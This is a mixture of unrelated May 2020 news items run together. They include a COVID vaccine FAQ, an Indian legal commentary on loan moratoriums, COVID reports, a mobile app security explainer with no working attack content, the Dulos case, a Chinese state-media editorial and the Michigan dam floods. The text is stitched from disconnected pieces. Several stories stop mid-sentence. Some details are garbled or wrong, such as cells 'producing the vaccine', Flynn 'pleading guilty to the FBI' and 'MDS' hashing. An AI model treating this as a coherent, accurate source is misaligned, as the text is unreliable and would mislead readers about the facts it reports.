COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine  one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show

For working capital facilities sanctioned as cash credit or overdraft facilities, Financial Institutions 'are permitted' to defer the recovery of interest during the Moratorium Period. It goes on to provide that if such Moratoriums are indeed granted, the financial institutions would be safe guarded from a prudential norms perspective as they would not need to treat such deferred payment terms as defaults and consequently downgrade the exposer. Pertinently, the moratorium has now been extended for another three months - to August 31, 2020.

A plain reading of the RBI Circular makes it quite apparent and clear that this is an option given to the Financial Institutions and there is no directive for them to necessarily accord the Moratorium. Interestingly, though some media reports and discussions with market players suggest that financial institutions are 'bound' to give the moratorium to all borrowers who opt for it, taking away the bank's own judgement and discretion.

The uncertainty continues as the RBI Governor while clarifying in his address to the country on April 17, 2020 stated that "in respect of all accounts for which lending institutions decide to grant moratorium or deferment, and which were standard as on March 1, 2020, the 90-day NPA norm shall exclude the moratorium period, i.e., there would an asset classification standstill for all such accounts from March 1, 2020 to May 31, 2020".

On May 1, 2020, while the Delhi High Court was hearing a matter, the counsel for RBI clarified that indeed it was the intent of the RBI to only give an option to lenders to grant moratoriums and that it was not mandated. However, the submissions in court opened another question as to whether the RBI circular is applicable to NBFCs and same is pending clarifications.

While RBI's position is somewhat clear on a few aspects, the role of the judiciary has been even more fascinating in terms of extending the arm to debtors. This has come to light through a series of orders over the last month or so.

Anant Raj Limited v Yes Bank Limited was the first important case where a judicial authority (the Delhi High Court interpreted the RBI Covid-19 Regulatory Package. In this case, the debtor who was already in default since January 2020 (i.e. before the beginning of the Moratorium Period) argued that the default in January 2020 occurred due to economic slowdown caused by the COVID-19 outbreak.

The court, focusing on the intent of the RBI Circular to relieve financial stress, held that the debtors loan could not have been classified as a NPA by Yes Bank. This view seems excessive from the point of view of the text of the RBI circular, irrespective of whether the borrowers financial distress was due to the pandemic or not.

The Bombay High Court took a similar view in the Idea Toll Case. A related discussion came up in Transcon Skycity Pvt Ltd & Ors v ICICI Bank & Ors. where the Bombay High Court, while acknowledging that the debtor was in default of its first and second installments (falling due before the commencement of the moratorium period), passed an interim order stating that the lockdown period should be excluded while computing the 90-day period for a loan account to be declared as NPA. This is an interesting view taken by the Bombay Court where it can be debated whether the intent of RBI was to cover such situations even though the RBI circular falls short of spelling it out.

Another interesting scenario has emerged in the security enforcement domain. In Rural Fairprice Wholesale Limited v IDBI Trusteeship Services Limited, the Bombay High Court passed an ad-interim order in favor of the Future Group, restraining the lender from invoking its pledge of shares and holding the notices of event of default, notice of redemption and notice of pledge invocation to be illegal, improper and invalid. This decision comes as a surprise to the financial sector since it is a well settled law that pursuant to Section 176 of the Indian Contract Act, 1872, it is the discretion of the pledgee to sell the pledged goods (shares in this case) in case there has been a default in payment of the underlying debt and it is well within the powers of the pledgee to sell the goods after giving a reasonable notice to the pledgor.

The court seems to have passed this interim relief keeping in mind the Covid-19 outbreak and its impact on share prices, though it questions the very sanctity of a negotiated commercial transaction and the rights of a secured party. Soon after this decision, the Bombay Court in Idea Toll & Infrastructure Pvt. Ltd v ICICI Home Finance Co. Ltd while recognised the vested right of the lender (pledgee) to sell shares again restrained the lender (pledgee) from selling the pledged shares and instructed the borrower to pay the outstanding amounts in staggered manner. This decision by the Bombay Court again raises concerns over contractual sanctity. Where the court could have suspended or delayed the notice of event of default, notice of invocation of pledge and notice of redemption, going a step further and calling these notices as illegal and invalid seems overarching.

RBI and courts don't seem to be as sympathetic towards financial institutions in situations where these institutions are the payers. This is further highlighted in the IMP Powers Ltd case where the Bombay Court while granting relief to the petitioner stated that the Reserve Bank of India has granted moratorium not only for term loans but all kinds of financial arrangements between a customer and the bank and the Bombay Court further in the case of Standard Retail Pvt. Ltd went on to order that the Moratorium Period will not be applicable to letters of credit since the transaction takes place between the two banks involved and not between the borrower and lender directly. While this stance seems to uphold the black letter of the RBI Circular, it begs to question whether the intent of the different pillars of our democratic system is only safeguard the interests of entities that are not financial institutions?

The COVID-19 pandemic will affect creditors as much as debtors and one must be mindful of the long-term effects of such decisions on the economy. We should be reminded that these financial institutions form the backbone of our financial system and given they are already facing stress, making them bear the brunt of the Covid-19 pandemic could discourage lending further and hurt these institutions severely and short terms measures such as the TLRO etc. may not be enough to save the system from a meltdown.

(Views are personal)

Satvik Kulshrestha is Associate, Bombay Law Chambers and Karan Kalra, founder, Bombay Law Chambers)
The son of a retired Punjab bureaucrat and Sector 2 resident who tested positive for Covid-19 has been untraceable since Thursday, with his family also missing, the Panchkula civil surgeon has said in a police complaint.

Giving details, district Covid officer Dr Rajiv Narwal called it a serious issue, adding we have sought legal action against family under the Epidemic Act for not cooperating with the health authorities.

The police had been asked by the civil surgeons office to trace the patient immediately as he had to be isolated, Dr Narwal said, expressing surprise at a highly educated familys erratic behaviour.

It was important for the patient to be isolated immediately to prevent spread of the infection, he said, adding that the deputy commissioner and director, health services, were aware of the matter.

PATIENTS SON ALERTED HEALTH AUTHORITIES

It was the patients son, a doctor, who alerted district health authorities to his fathers Covid-19 status on Thursday after he tested positive on May 17 following treatment for oral cancer at a private hospital in Mumbai on May 7 and follow-up treatment at the hospitals Delhi branch on May 16.

Dr Narwal said when health authorities visited the patients father at their Panchkula home, he claimed that the patient had not visited the family for the last 25 days.

Then, even as tracking the patients phone location revealed he was in Panchkula, another visit by the health team to his home on Friday proved unfruitful. Only his doctor son was present there.

He is the only one in the family cooperating (with health authorities) and is keen that his father and other family members be quarantined without any further delay, said Dr Narwal.

Meanwhile, district police commissioner Mohit Handa said he had received the copy of the complaint from the health department and that the matter was under consideration.

Of the 26 Covid-19 patients in the district so far, 23 have been cured and discharged and one has died even though the second sample tested negative.

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In court papers, Idaho and Edmos lawyers had debated the importance of the case for other transgender prisoners. Idaho said it was a case with national implications, and that the 9th Circuit had become the first court to hold that there had been a violation of a transgender prisoners rights because the state had not conformed with guidelines issued by a transgender advocacy group.
Indias official contact tracing app surely getting popular among people with Aarogya Setu app registering over a 100 million downloads on the Google Play Store and the Apple App Store.

But Aarogya Setu app has also been surrounded by privacy concerns, forcing many people to avoid using it.

BCCL

A few weeks ago we saw MIT Technology Review, compare Aarogya Setu with other contact tracing apps developed by nations around the world and gave the app a score of 2 out of 5, failing in three parameters. And now, reports claim that the rating has dropped even further.

Lets refresh your memory a bit with MITs scoring parameters. It added five parameters, each parameter awarding the app a star -- whether the app is voluntary or compulsory, whether data is being used for purposes other than health, does it also has use it for law enforcement, whether the data collected by the app is deleted after a specified time, whether the app only collects data for what its supposed to and whether the process is transparent.

Aarogya Setu App Review Process

From these five parameters, Aarogya Setu only got two stars, clearing only two of the aforementioned parameters -- for the policy related to data deletion and that the data collection of data for health. The app fails in parameters talking about its use for law enforcement, transparency and being voluntary.

However, now, MIT review has revealed that it will be pulling off another star for the data minimisation parameter which indicated that the app collects more data than the information it needs for the purpose of contact tracing.

Aarogya Setu

The app is no longer mandatory for private employees

One thing to note is that MIT hasnt revised its parameter for the voluntary aspect of the app, since earlier this week, authorities announced that the app is no longer mandatory for employees working in offices, as well as people in containment zones. It is however mandatory for the user to be registered in case he/she is travelling through train or aircraft.

It hasnt offered any clarification on this element too. Maybe since it is still mandatory for some people theyre not reflecting their scores, but thats just what we think.

Have you used the app? How has your experience been like? Tell us in the comments below.
Nowadays, smartphones are more in use and demand than traditional PCs because they are more user-friendly, portable, and are easy to handle. The mobile device users are more than three billion, and it is predicted that this number will increase in the next few years. These devices are used for various purposes ranging from personal use like capturing pictures to scrolling social networking apps or making banking transactions.

Mobile smartphones have turned out to be an essential tool that contains our sensitive information such as business contacts and financial and personal information. It has led to cyber attackers to expand their target area and launch direct attacks on mobile devices.

Over time, mobile security threats are increasing significantly. Millions of malware pieces have infected hundreds of user devices. Every day thousands of malware programs are detected whose prime aim is to target mobile devices.

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In such an alarming situation, weve compiled an article that sheds light on various mobile apps security threats and some practices on preventing them. Lets read on.

Data Leakage

Mobile apps are a fundamental reason for unintentional data leakage. Like for example, the riskware apps pose a severe concern for mobile users who fail to check the security when giving apps permission. These are the free apps you can easily find in the official app stores. Such apps work as advertisers but also steal and send personal and corporate data to the remote server where cyber-crooks use it for their purposes.

Through enterprise-signed mobile applications, data leakage also occurs. It is where mobile malware makes effective use of the distribution code built-in to the frequent mobile operating systems, such as Android and iOS, to spread data across the corporate networks with no red flags being raised.

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Inadequate Data Storage

Data storage becomes unprotected and vulnerable within your app in many places, including binary data stores, cookie stores, SQL databases, and many more. Insecure data storage is caused by vulnerabilities in the compiler, framework, and operating system, as well as the latest or broken devices. Other times it is mainly due to lack of proper processes to manage a cache of data, images, and key presses.

If an attacker gains access to a device, they alter the app to pump information to their machines. Even robust encryption seems useless when a device is rooted that permits hackers to surpass the restrictions and prevent encryption.

Lack of Multi-Factor Authentication

Without realizing how risky and dangerous the results are, the majority of the users use the same passwords for multiple accounts. Moreover, users have no proper authorization methods, which poses a severe mobile app security threat.

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If an attacker accesses your username and passwords from your accounts, they can access your other account information as well. Here the worrisome factor is that you wont even realize that youre hacked because they havent enabled any of the authentication methods.

Always consider to use a strong password with each platform, if you cannot manage it, then install any third party software to handle your passwords. This is how passwords manager actually works.

Improper Encryption

Symantec reveals that 13.4% of the customer devices and 10.5% of the enterprise devices are working without proper encryption. In case hackers gain access to these devices, it means that your data is available to them in plain text. All those software companies that do not use proper encryption are not solely at fault. Developers and humans make mistakes that hackers exploit. Thus, it is vital to determine how easy it is to crack your apps code when it comes to encryption.

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Lack of secure encryption often leads to severe consequences like code and property theft, damage to reputation, privacy violations, and much more.

Exposure to Malicious Code Injection

Most of the time, the user-generated content like comments and forms are ignored because of the potential threats they impose on mobile app security. Lets consider the example of a login form; when a user enters their username and password, the app communicates with the server-side data to authenticate. Remember, apps dont restrict characters user inputs, and this raises the hackers injecting code to access the server.

A malicious user who enters a JavaScript line into a login form that does not protect against characters like the equal sign can access your confidential information and later uses it for wrong deeds.

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How to Prevent Them?

In todays age, app security is more of a necessity than a feature. A single incident of a breach can cost your company in billions, along with loss of trust for a lifetime. For this reason, security should be the utmost priority both for the developers and for the users.

The following mentioned below are some of the ways developers must adopt to boost the security of their apps.

1. Write a Secure Code

Bugs and vulnerabilities within a code are the starting point for most attackers to break into an application. They attempt to reverse engineer your code and modify it. To do so, all they need is a free copy of your app. According to research, malicious codes affect more than 11.6 million devices at a time.

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Thus, from day one, keep code security as a top priority and make your codes hard enough, so they are tough to break. Obscure your code to prevent reverse engineering. Also, conduct tests at regular intervals and fix bugs soon they get revealed. Moreover, design your code in a way that is easy to update. Make sure to keep your code agile as well so, a user can update it and post a breach.

2. Encrypt Your Data

Use secure encryption for your data. Each unit exchanged over the app should undergo encryption. In this way, if your data gets stolen, the criminal cannot misuse it. Another way of encrypting your data is by using a VPN. This goes especially for the users. A VPN encrypts all your internet traffic by allowing you to browse the web anonymously, and prevent any malicious actor from monitoring what you are doing online. So, hurry up! Start using free VPNs that work for Android devices and protect yourself from any potential threat.

3. Use the Least Privilege Norm

The principle of least privilege says that code must run with the permission it ultimately needs. Your app should not ask for any other privileges than the minimum required for functioning. If you dont require access to the users contacts, then dont request it too. Also, avoid making redundant network connections.

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4. Make Threat Models to Secure Data

Threat modeling is a method used to understand the problem that is solved where there are issues and have strategies that defend against them. A well-structured threat model enables the team to get insight into different operating systems, frameworks, platforms, and external APIs that transfer and store their data. Use APIs as experts regard them as an integral part of maximum security.

5. Unauthorized Access

To safeguard any mobile app against malware and vulnerabilities, be knowledgeable regarding access permissions once you install a mobile app. User approval is crucial and needed before any apps gain access to other apps or even date on android devices. Be cautious and vigilant with the requests from the apps to access data they should avoid.

6. Implement Proper Session Handling

Sessions on mobile devices are longer than those on desktops, and because of this session handling becomes harder for the server. Instead of device identifiers, use a token to identify sessions. Using tokens provides more security when an incident of lost or stolen devices takes place. Also, enable wiping of data from a lost device along with remote log-off.

7. Use Cryptography Tools and Techniques

Key management is vital if your encryption efforts have to pay off. Avoid hard-coding your keys as it makes it easy for the attackers to steal them. Store keys in secure containers instead of storing them on local devices. Some commonly accepted cryptographic protocols such as SHA1 and MDS have proven not much sufficient by modern security standards. Use the most trusted APIs like 256-bit encryption along with SHA-256 for hashing.

Parting Words

Towards the end of the guide, we are hopeful that you got a clear insight about mobile app security threats. Remember, there may be many other threats as well. In this situation, the best solution is to follow the tips mentioned above for enhancing mobile app security.
NEW CANAAN  Family and friends of Jennifer Dulos are asking people to mark the one-year anniversary of her death and disappearance and death on Sunday by reaching out to victims of intimate partner violence.

The calls for Justice for Jennifer are powerful and moving, Carrie Luft, a longtime friend of Jennifer Dulos, said in a statement issued on behalf of her family and friends. We urge their scope to be extended to all victims of intimate partner violence, many of whose stories are never told and who are now even more at risk.

Jennifer Dulos, a mother of five, is believed to have been killed by her estranged husband Fotis Dulos, according to arrest warrants. Her body has not been found. Fotis Dulos died in January from an apparent suicide as he faced murder and other charges in connection with his wifes death and disappearance.

His former girlfriend Michelle Troconis and his former attorney Kent Mawhinney were charged with conspiracy to commit murder in the case. Their cases are pending.

A year later, Jennifer Dulos remains missed and loved, Luft said.

The ache of her absence doesnt go away, Luft said. Countless questions remain unanswered. The brutality and inhumanity of her death and disappearance continues to haunt us, without subsiding.

Her children, in the care of her mother Gloria Farber, have continued to grow and remain a support for each other, Luft said.

The earth keeps spinning, and somehow an entire year has elapsed, Luft said. We can see it, measure it, in the growth of her children, who are taller, stronger, wiser, and more like their mom every day. And we continue to see and sense her in their expressions, their gestures, their laughter, their hugs.

Luft and the family is encouraging people to mark May 24 by participating in Candles for Jennifer and by donating to womens shelters, family shelters and food banks.

According to arrest warrants, police believe Fotis Dulos attacked his estranged wife in the garage of her New Canaan home when she returned from dropping off their children at a nearby school around 8 a.m. on May 24, 2019.

Police said they found signs Jennifer Dulos was the victim of a serious physical assault based on blood evidence they found in the garage, arrest warrants state.

Around the time the New Canaan mother was reported missing, surveillance footage captured Fotis Dulos and Troconis in Hartford, according to arrest warrants. Police say the video shows Fotis Dulos dumping bags and an expired license plate that was registered to him. The bags contained Jennifer Dulos blood and her clothing, according to arrest warrants.
Howe Neat Team at Benicia,CA Headquarters If we can help reduce downtime by proactively alerting users, we will have done our job. Its like putting out a fire before it even started, and that is huge

Howe Neat is pleased to be among the winners of the 11th annual Startup Monterey Bay competition, sponsored by the California State University Monterey Bay and the Institute for Innovation and Economic Development.

Daniel Howe entered into the competition and was selected as the winner of the Student Division. His teams product, an Internet of Things based waste tracking and sustainability app, developed during his Capstone Project at CSUMB, inspired Daniel to found Howe Neat, in Benicia, CA. Howe Neat is now implementing the business plan developed as a result of the competition.

The waste tracking device, called AMSie Can, stands for Automated Material Separation and integrated equipment. The cloud-connected device sends data to an online application where devices are monitored, and email notifications are sent to groups of users when a bin has become full, or if a trash can lid has been removed and not replaced. This device keeps waste out of the environment by reducing animal scavenging of waste bins. Additionally, the cloud app helps organize and schedule service trips to allow efficient use of time and resources, so that personnel can direct their energy into servicing bins that are full and require emptying or replacing their lids.

Howe Neat is now ready to monitor a wider variety of applications. Companies and public institutions are under growing pressure to reduce operating costs through the automation of tasks with the hope of increased efficiencies. However, there is one big flaw: few companies are connecting the multitude of different IoT hardware and corresponding data in one place. This makes automation confusing and difficult, if not impossible.

When equipment like a pump or electric motor stops working, this can cost thousands of dollars in lost productivity, not to mention potential damage to equipment. If we can help reduce downtime by proactively alerting users, we will have done our job. Its like putting out a fire before it even started, and that is huge, said Daniel. We have already begun the next steps to making major improvements in the hardware and software. Because the device is so versatile, I believe it will be a perfect fit anywhere preventative maintenance is required, for example, agriculture, and large systems where equipment operations are critical.

Howe Neat addresses these growing problems with intuitive cloud software and connected IoT hardware that monitors equipment data like battery voltage, and operating status indicators, like operating pressure, for anomalies, and preventative service requirements. When equipment such as a water pump needs service, the software can alert staff to address the problem in advance, saving time, money, and reducing customer frustration.

Howe Neat says they are growing and looking to expand even further. Until now, it has been entirely funded by ambitious first customers, and out of pocket. The startup is seeking potential investors to support and accelerate this new growth as well as talented and versatile engineers. In addition, it is seeking more beta customers looking to monitor critical infrastructure.

Howe Neat, Inc. is a product development company, founded by Daniel Howe, who has over 10 years of experience designing embedded systems. Our robust devices, and cloud server infrastructure, are designed to stand up to demanding industrial applications and provide our customers peace of mind, through frustration-free real-time monitoring of IoT devices. For more information, please contact Daniel Howe info@howeneat.com
Source: Xinhua| 2020-05-23 06:18:40|Editor: huaxia

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WASHINGTON, May 22 (Xinhua) -- Christopher Wray, director of the Federal Bureau of Investigation (FBI), said on Friday he has ordered an internal review of the investigation into President Donald Trump's former national security adviser Michael Flynn.

In a statement, Wray said he ordered the FBI's inspection division to conduct an after-action review of the Flynn investigation to "evaluate the relevant facts related to the FBI's role in the Flynn investigation and determine whether any current employees engaged in misconduct."

The review is also aimed to "evaluate any FBI policies, procedures, or controls implicated by the Flynn investigation and identify any improvements that might be warranted," said the statement.

"The after-action review will complement the already substantial assistance the FBI has been providing to U.S. Attorney Jeff Jensen in connection with his work on the Flynn case," it said.

Earlier this month, the Department of Justice (DOJ) said it was abandoning the prosecution of Flynn "after a considered review of all the facts and circumstances of this case, including newly discovered and disclosed information," evoking sharp criticism from Democrats and a number of former DOJ officials.

This came two years after Flynn pleaded guilty to the FBI for lying about his contacts with Russia during Trump's presidential transition period.

The FBI probe into Flynn's link with Russia led to Flynn's ouster by Trump in February 2017, and became part of the U.S. investigation led by special counsel Robert Muller into Moscow's alleged meddling to help Trump win the presidency in 2016. Enditem
The Rajasthan government has put its machinery on a stringent COVID-19 testing regime for all those travelling back to the state by air, officials said on Friday.

According to the officials, around 310 natives of the state have reached the country from different corners in Delhi, Kerala and Gujarat, by air till Thursday.

A total of 148 Rajasthan migrants reached Jaipur from London on Friday, they said.

Around 8,500 natives of Rajasthan have registered themselves for coming back to the state. The government has taken best possible measures and ensured full-proof strategy to ensure that health and wellbeing of migrants are not compromised at any stage, Subodh Agarwal, Additional Chief Secretary (Industries & MSME and Head, State Level Committee for Interstate Migration) said.

Proper screening and testing facilities have been deployed for each and every person coming back to the state, he said.

All five airports located across Jaipur, Jodhpur, Jaisalmer, Bikaner and Udaipur are expected to receive many passengers in the coming days.

As part of the coronavirus containment strategy undertaken by the state, Chief Minister Ashok Gehlot, had directed respective district collectors to ensure adequate arrangement of well-maintained quarantine centers.

Additionally, quarantine centers have been arranged in Alwar looking at its proximity to New Delhi, officials said.

The Rajasthan government has undertaken all necessary steps to ensure smooth and convenient screening, testing and exit movement for people. Today, a flight landed at Jaipur from London. All travelers were sent to the institutional quarantine for 14 days. All of them were given masks, sanitisers and snacks with a welcome note by key officials at the Jaipur airport," Agarwal said.

He said the state has also spoken to Delhi and Gujarat governments to ensure that proper arrangements are made, in terms of screening, testing, and maintenance of quarantine centers, for Rajasthan migrants reaching the airports in those states.

The officials added that Jaipur will be witnessing around 16 more flights carrying about 2,000 state migrants from Kazakhstan, Canada, UK, Russia and other countries in the coming weeks.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Police are investigating the circumstances surrounding a fire that occurred on Union Island that injured three (3) persons.





According to investigations, about 6:40 p.m. on 19.05.2020 the Union Island Fire Station was alerted about an explosion at Freddys Gas Station located at Clifton, Union Island. The gas station was reportedly engulfed in flames which rapidly spread to a number of nearby buildings which caused the St. Vincent Electricity Company Limited (Vinlec) to cut power to the area. In a coordinated effort the fire was brought under control by personnel from the Fire Department at approximately 11pm but it remained visible up to 4 a.m. on 20.05.2020. As of 6 a.m. on 20.05.2020 firefighters were still on the scene addressing heavy steam coming from the foundation/ground of the buildings and surrounding areas within the vicinity of the explosion.





Three (3) persons reportedly sustained injuries from the incident and were subsequently rushed to mainland, St. Vincent, to seek medical attention at the Milton Cato Memorial Hospital (MCMH) by the St. Vincent and the Grenadines Coast Guard Service (SVGCG). Lindini Neverson, l2 years old Student of Union Island sustained second degree burns about his body; Freddy North, 72 years old the owner of Freddys Gas Station sustained first degree burns about his body; and Shaniqua "Azaria Alexander, 17 years old Student of Union Island sustained both second and third degree burns about her body.





The cause of the fire remains under investigation.




The world is casting its eyes toward China as the country convenes its "two sessions" - the annual sessions of the country's top legislature and political advisory body.

People's Daily Online/Lei Sheng

The 2020 "two sessions", kicking off in a year when China aims to achieve a decisive victory in building a moderately prosperous society in all respects and eliminate poverty, and after the country has made important strategic achievement in combating the COVID-19 epidemic, is drawing wide attention from the international society. The world is wondering what responsibility China is going to shoulder at the special moment, and what impacts will be placed on the world.

Global media, shifting their focus on China's "two sessions," are looking forward to China's victory over the COVID-19 pandemic and reaching of its annual economic and social development goals, and are expecting a strong economic recovery of China under regular epidemic prevention and control measures.

They said the "two sessions" are not only a political routine, but a signal that China has completely controlled the pandemic. As an important window from which the world observes China's direction of policymaking, the "two sessions" this year will have more hotspot issues than ever as global politics is undergoing profound changes.

Success only comes from hard work. In the great fight against the COVID-19 pandemic, the world has seen the strong vitality and superiority of the leadership of the Communist Party of China, the socialism with Chinese characteristics, as well as China's national governance system, and witnessed the tremendous energy released by the Chinese spirit, Chinese power and Chinese efficiency.

At the critical moment for achieving the two centenary goals, China, withstanding the test of the disease, stays resolute to reach its annual economic and social development goals, to secure a decisive victory in building a moderately prosperous society in all respects and to eliminate poverty. Vowing to take back the time wasted by the pandemic, the Chinese people have turned their common aspiration into concrete efforts.

"For countries hit hard by the coronavirus, China has served as a time machine of sorts," said business-focused international news organization Quartz. Chinas success in both pandemic control and economic recovery cheers up and lead the world to brighter perspective. The world wonder why China can, and the two sessions provide an opportunity for world to understand China.

Any growth target released on the sessions would receive close attention, said Bloomberg. The importance laid by the press on the making of China's economic and social development goals indicated the significance of China's economic recovery and development.

China's export grew 8.2 percent year on year in April, and its actual use of foreign capital achieved positive growth. Besides, the value added of industries above designated size went up by 3.9 percent from a year ago. These figures well explained China's economic resilience and vitality, and proved that the fundamentals sustaining China's long-term growth remain unchanged, and the country's high-quality development is well supported.

According to international media coverage, Chinese cities are bustling again; the country's consumption is waking up; and foreign investment projects are being implemented in an accelerated manner. International observers concluded that China is in a leading position in global economic recovery after achieving phased achievements of pandemic control, and the better-than-expected economic recovery of the country is a piece of good news to global economy.

To defeat the virus calls for global coordination, and open international cooperation is also necessary for the recovery of global economy. International observers believe that China, in a critical stage of securing a decisive victory in building a moderately prosperous society in all aspects, will keep releasing dividend to the world.

The third China International Import Expo is scheduled to run from Nov. 5 to 10 in Shanghai, and the signed exhibition area has surpassed that in the previous session. Fitch Ratings from the U.S. is permitted to enter the Chinese credit rating market, and the quota limits for the qualified foreign institutional investor scheme were removed.

These new measures to expand opening up demonstrated the confidence and resolution of China to expand open cooperation and share development opportunities with the world. They will surely inject confidence and vitality into the stabilization and recovery of the world economy.

Tough times test real hero. The Chinese nation that has been tested by history is bound to gather strength from challenges, grow stronger in hardships, and make more achievements in the future.

By understanding more about China during the two sessions, the world will see more development opportunities and the power of cooperation. By joining hands and making common progress, global countries will turn this world into a better place.
A satellite image shows the flooded Isabella Street and homes after rising flood waters unleashed by two dam failures submerged parts of Midland, Michigan, U.S. May 20, 2020

Satellite image 2020 Maxar Technologies/Handout via REUTERS

On Tuesday, the Edenville and Sanford dams collapsed in central Michigan, sending a massive amount of floodwater into nearby towns in Midland County.

Gov. Gretchen Whitmer declared a state of emergency, and over 10,000 residents were evacuated as the National Weather Service warned that up to 9 feet of water could reach Midland.

Reports have shown the Edenville Dam had its power generation license revoked in 2018 due to longstanding safety violations.

No fatalities have been recorded and the extent of the damage so far is unknown, but these satellite photos reveal just how much flooding occurred.

Visit Insider's homepage for more stories.

Massive amounts of floodwater hit nearby towns after two dams collapsed in central Michigan on Tuesday.

The Edenville Dam was the first to fail, sending a surge of water into streets, homes, and businesses, and leading to the collapse of the Sanford Dam located on the Tittabawassee River.

By Wednesday, surrounding towns were submerged, and the National Weather Service issued a warning for residents of Midland County to evacuate amid concerns that up to 9 feet of flooding could hit the area.

Maxar satellite imagery of Windover High School in west Midland, Michigan -- due to the Tittabawassee River flooding.

Satellite image (c) 2020 Maxar Technologies

As many as 10,000 people and 3,500 homes were affected by the evacuations, as people fled to nearby schools and family centers for shelter.

Gov. Gretchen Whitmer declared a state of emergency, and 130 soldiers from the Michigan National Guard were sent in to help police evacuate residents on Wednesday.

Though the full extent of the damage is not yet known, satellite photos show just how much flooding occurred throughout the region.

A satellite image shows the flooded Isabella Street and homes after rising floodwaters unleashed by two dam failures submerged parts of Midland, Michigan

Reuters

The floodwater knocked over power lines, submerged cars, and overtook entire streets. Residents located near the Tittabawassee River were told to seek higher ground as torrents of water ravaged through the area.

Story continues

A satellite image shows an overview of the Tittabawassee river after rising floodwaters unleashed by two dam failures submerged parts of Midland, Michigan, U.S. May 20, 2020.

Satellite image 2020 Maxar Technologies/Handout via REUTERS

So far, no deaths or injuries have been reported, and the full economic toll is not yet known.

Maxar satellite imagery of Northwood University, west of Midland, Michigan due to the Tittabawassee River flooding.

Satellite image (c) 2020 Maxar Technologies.

The collapse of the Edenville Dam came after its operators, Boyce Hydro Power, were cited for years of violating safety guidelines.

In 2018, the dam's hydro-power generation license was ultimately revoked when the Federal Energy Regulatory Commission noted that its lack of spillway capacity could be dangerous.

The FERC had also reported that the firm had a history of noncompliance with safety regarding structural issues and water monitoring.

Read the original article on Insider
West Michigan school leaders warn huge cuts will be coming to K-12 student programming, transportation and extracurricular activities if state and federal governments do not provide immediate financial assistance to mitigate predicted revenue losses as a result of the coronavirus pandemic.

Superintendents across Kent, Muskegon and Ottawa counties urged government officials to mitigate a $1.3 billion revenue loss to the Michigan School Aid Fund projected by the states top economists at the May 15 Michigan Consensus Revenue Estimating Conference.

Cuts to schools could amount to $700 per pupil with the small balance currently remaining in the school aid fund, according to a news release issued by the West Michigan Talent Triangle, which comprises 41 area superintendents.

In the wake of this crisis, we were asked to maintain staffing levels and, later, to develop distance learning plans to continue the education of each student, said Rockford Superintendent Mike Shibler, a West Michigan Talent Triangle member and the longest-serving superintendent in West Michigan.

"Now, with less than a month remaining in our school year and just three months before the start of the next school year, there is no way we can cut our budgets by the amount indicated in state budget projections without massive staff layoffs and the elimination of essential programming in the future.

Michigan has seen a downward trend in all major tax revenues since the coronavirus was first detected in the state and, soon after, the governors stay-at-home order was instituted. State economists say the biggest hits to the budget are sharp declines in both the sales tax and income tax, as more Michiganders are filing for unemployment and spending less money.

RELATED: Coronavirus prompts projected $3.2B drop in Michigan tax revenue, more losses expected

Because the state has a balanced budget requirement, the decreased revenue could mean steep cuts in funding for schools, local governments, roads and more.

To say the numbers we just saw are sobering is probably the understatement of my career, Michigan Budget Director Chris Kolb said in a May 15 press call.

Kolb said the losses are potentially as bad, if not worse" than the Great Recession and said the state was only able to make it through that with aid from the federal government.

West Michigan superintendents urged Sens. Debbie Stabenow, D-Lansing, and Gary Peters, D-Bloomfield Township, to provide federal assistance to schools and states, as the federal government did in the wake of the great recession, according to the release.

State Sen. Wayne Schmidt, R-Traverse City, who chairs the Senates education budget subcommittee, said he is not banking on Congress sending additional aid to states or giving flexibility to use previously passed rescue money, the Associated Press reported.

The senator reportedly warned districts to expect as much as a 25% cut in foundation allowance for the 2020-21 school year.

CARES Act funding falls dramatically short of the need of schools, Shibler said in the release.

Looking ahead to next year, more resources, not fewer, will be necessary if social distancing and other safety measures are required to ensure the safety of students and staff, he said.

More on MLive:

Kalamazoo schools brace for potentially major funding cuts

Layoffs likely at Jackson Public Schools with budget shortfalls expected

Michigans universities and colleges bleeding revenue amid coronavirus closures

$524 million for child care costs, raises for frontline workers approved by Michigan Senate

Coronavirus prompts projected $3.2B drop in Michigan tax revenue, more losses expected
(JTA)The Conservative Jewish youth group United Synagogue Youth is canceling its summer travel programs for teens, the latest in a string of canceled Jewish summer programs.

The announcement comes as several Conservative Ramah summer camps are set to announce that they are canceling their sessions amid the coronavirus pandemic.

Some two-dozen camps, including those run by the Union for Reform Judaism, already have announced that they will cancel this summer.

It is with a heavy heart that we share this news with you, that due to the current status of the COVID-19 pandemic, we are cance...
Graduation season is full of traditions: caps and gowns, signs and advertisements, "Pomp and Circumstance."

However, this graduation season is unlike any other for both high school and college seniors as they prepare to celebrate their milestones amid the COVID-19 pandemic.

NBC News Social Newsgathering team spoke with 10 high school and 10 college graduates about what it's like to graduate during the pandemic, and how their celebrations are different than they initially planned.

Here's what they had to say.

Freja-Jane Kjeldseth: Yankton High School, Yankton, South Dakota

Freja-Jane Kjeldseth was disappointed when she found out Yankton High School was postponing their in-person graduation ceremony and instead holding a virtual ceremony.

However, her virtual ceremony turned out to be better than expected, complete with a video message from Olivia Newton-John; the school was set to perform "Xanadu," her 1980 song with ELO, before the pandemic hit.

While Kjeldseth said the in-person ceremony, which may be held in July, might not be the same since some of her classmates are moving within the next few weeks and joining the military, she is still able to find the bright side.

